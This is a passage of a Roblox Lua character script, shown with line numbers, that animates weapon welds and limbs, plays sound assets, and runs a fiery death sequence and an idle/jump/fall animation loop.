4595 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4596 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4597 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4598 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4599 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4600 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4601 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4602 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4603 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4604 | end | |
4605 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) | |
4606 | for i=0,1,0.1 do | |
4607 | swait() | |
4608 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4609 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4610 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4611 | Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) | |
4612 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4613 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4614 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4615 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5) | |
4616 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4617 | end | |
4618 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4619 | for i=0,1,0.1 do | |
4620 | swait() | |
4621 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4622 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4623 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4624 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4625 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4626 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4627 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4628 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4629 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4630 | ||
4631 | end | |
4632 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) | |
4633 | for i=0,1,0.1 do | |
4634 | swait() | |
4635 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4636 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4637 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4638 | Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) | |
4639 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4640 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4641 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4642 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3) | |
4643 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4644 | end | |
4645 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4646 | for i=0,1,0.1 do | |
4647 | swait() | |
4648 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4649 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4650 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4651 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4652 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4653 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4654 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4655 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4656 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4657 | end | |
4658 | --dmgstop() | |
4659 | Humanoid.WalkSpeed=12 | |
4660 | attack=false | |
4661 | end | |
4662 | ||
4663 | function Die() | |
4664 | attack=true | |
4665 | Footsteps:Stop() | |
4666 | Footsteps2:Stop() | |
4667 | local Fire = it("Sound",Character.Torso) | |
4668 | Fire.SoundId = "rbxassetid://192104941" | |
4669 | Fire.Looped = true | |
4670 | Fire.Pitch = 1 | |
4671 | Fire.Volume = 1 | |
4672 | local Fire2 = it("Sound",Handle2) | |
4673 | Fire2.SoundId = "rbxassetid://192104941" | |
4674 | Fire2.Looped = true | |
4675 | Fire2.Pitch = 1 | |
4676 | Fire2.Volume = 1 | |
4677 | local Fire3 = it("Sound",Handle) | |
4678 | Fire3.SoundId = "rbxassetid://192104941" | |
4679 | Fire3.Looped = true | |
4680 | Fire3.Pitch = 1 | |
4681 | Fire3.Volume = 1 | |
4682 | local Fire4 = it("Sound",handle) | |
4683 | Fire4.SoundId = "rbxassetid://192104941" | |
4684 | Fire4.Looped = true | |
4685 | Fire4.Pitch = 1 | |
4686 | Fire4.Volume = 1 | |
4687 | local fire = Instance.new("ParticleEmitter", Character.Torso) | |
4688 | fire.Lifetime = NumberRange.new(0.5) | |
4689 | fire.Speed = NumberRange.new(1, 3) | |
4690 | fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) | |
4691 | fire.Rate = 0 | |
4692 | fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4693 | fire.LightEmission = 0.6 | |
4694 | fire.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4695 | fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4696 | local fire2 = Instance.new("ParticleEmitter", Handle) | |
4697 | fire2.Lifetime = NumberRange.new(0.5) | |
4698 | fire2.Speed = NumberRange.new(1, 3) | |
4699 | fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) | |
4700 | fire2.Rate = 0 | |
4701 | fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4702 | fire2.LightEmission = 0.6 | |
4703 | fire2.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4704 | fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4705 | local fire3 = Instance.new("ParticleEmitter", Handle2) | |
4706 | fire3.Lifetime = NumberRange.new(0.5) | |
4707 | fire3.Speed = NumberRange.new(1, 3) | |
4708 | fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) | |
4709 | fire3.Rate = 0 | |
4710 | fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4711 | fire3.LightEmission = 0.6 | |
4712 | fire3.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4713 | fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4714 | local fire4 = Instance.new("ParticleEmitter", handle) | |
4715 | fire4.Lifetime = NumberRange.new(0.5) | |
4716 | fire4.Speed = NumberRange.new(1, 3) | |
4717 | fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) | |
4718 | fire4.Rate = 0 | |
4719 | fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4720 | fire4.LightEmission = 0.6 | |
4721 | fire4.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4722 | fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4723 | Humanoid.WalkSpeed = 0 | |
4724 | so("http://www.roblox.com/asset/?id=199149297",Head,1,1) | |
4725 | so("http://www.roblox.com/asset/?id=209527203",Head,1,1) | |
4726 | for i=0,1,0.08 do | |
4727 | swait() | |
4728 | Torso.Velocity=RootPart.CFrame.lookVector*-30 | |
4729 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2) | |
4730 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2) | |
4731 | handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4732 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4733 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4734 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2) | |
4735 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2) | |
4736 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) | |
4737 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) | |
4738 | end | |
4739 | for i=0,1,0.005 do | |
4740 | swait() | |
4741 | light.Range=15-10*i | |
4742 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4743 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4744 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4745 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4746 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4747 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4748 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4749 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4750 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4751 | end | |
4752 | light.Range=0 | |
4753 | for i=0,1,0.01 do | |
4754 | swait() | |
4755 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4756 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4757 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4758 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4759 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4760 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4761 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4762 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4763 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4764 | end | |
4765 | so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9) | |
4766 | fire.Rate = 1000 | |
4767 | fire2.Rate = 1000 | |
4768 | fire3.Rate = 1000 | |
4769 | fire4.Rate = 1000 | |
4770 | Fire:Play() | |
4771 | Fire2:Play() | |
4772 | Fire3:Play() | |
4773 | Fire4:Play() | |
4774 | for i=0,1,0.005 do | |
4775 | swait() | |
4776 | Character.Head.face.Transparency = 0+1*i | |
4777 | LeftArm.Transparency=0+1*i | |
4778 | RightArm.Transparency=0+1*i | |
4779 | LeftLeg.Transparency=0+1*i | |
4780 | RightLeg.Transparency=0+1*i | |
4781 | Head.Transparency=0+1*i | |
4782 | Torso.Transparency=0+1*i | |
4783 | for _,v in pairs(Character:children()) do | |
4784 | if v:IsA("Hat") then | |
4785 | v.Handle.Transparency = 0+1*i | |
4786 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4787 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4788 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4789 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4790 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4791 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4792 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4793 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4794 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4795 | end | |
4796 | end | |
4797 | --dmgstop() | |
4798 | end | |
4799 | Humanoid.Health = 0 | |
4800 | end | |
4801 | ||
4802 | equipanim() | |
4803 | ||
4804 | local sine = 0 | |
4805 | local change = 1 | |
4806 | local val = 0 | |
4807 | ||
4808 | local mananum=0 | |
4809 | while true do | |
4810 | swait() | |
4811 | sine = sine + change | |
4812 | local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude | |
4813 | local velderp=RootPart.Velocity.y | |
4814 | hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character) | |
4815 | if equipped==true or equipped==false then | |
4816 | if Anim=="Idle" and attack==false then | |
4817 | idle=idle+1 | |
4818 | else | |
4819 | idle=0 | |
4820 | end | |
4821 | if Humanoid.Health <=20 then | |
4822 | if attack == false then | |
4823 | Humanoid.Health = math.huge | |
4824 | Die() | |
4825 | end | |
4826 | end | |
4827 | if idle>=1000 then | |
4828 | if attack==false then | |
4829 | --Sheath() | |
4830 | end | |
4831 | end | |
4832 | if RootPart.Velocity.y > 1 and hitfloor==nil then | |
4833 | Anim="Jump" | |
4834 | if attack==false then | |
4835 | Footsteps:Stop() | |
4836 | Footsteps2:Stop() | |
4837 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3) | |
4838 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4839 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3) | |
4840 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3) | |
4841 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4842 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3) | |
4843 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4844 | RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
4845 | LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
4846 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) | |
4847 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4848 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4849 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4850 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4851 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4852 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4853 | end | |
4854 | elseif RootPart.Velocity.y < -1 and hitfloor==nil then | |
4855 | Anim="Fall" | |
4856 | if attack==false then | |
4857 | Footsteps:Stop() | |
4858 | Footsteps2:Stop() | |
4859 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
4860 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4861 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
4862 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
4863 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4864 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
4865 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4866 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
4867 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
4868 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4869 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
4870 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
4871 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4872 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4873 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4874 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4875 | end | |
4876 | elseif torvel<1 and hitfloor~=nil then | |
4877 | Anim="Idle" | |
4878 | change=0.5 | |
4879 | if idle>=1000 then | |
4880 | if attack==false then | |
4881 | Footsteps:Stop() | |
4882 | Footsteps2:Stop() | |
4883 | Humanoid.WalkSpeed=12 | |
4884 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1) | |
4885 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1) | |
4886 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
4887 | RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5) | |
4888 | LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5) | |
4889 | RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1) | |
4890 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3) | |
4891 | handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3) | |
4892 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) | |
4893 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) | |
4894 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4895 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4896 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4897 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4898 | end | |
4899 | else | |
4900 | if attack==false then | |
4901 | Footsteps:Stop() | |
4902 | Footsteps2:Stop() | |
4903 | Humanoid.WalkSpeed=12 | |
4904 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1) | |
4905 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1) | |
4906 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
4907 | RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5) | |
4908 | LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5) | |
4909 | RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1) | |
4910 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3) | |
4911 | handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2) | |
4912 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) | |
4913 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) | |
4914 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4915 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4916 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4917 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4918 | end | |
4919 | end | |
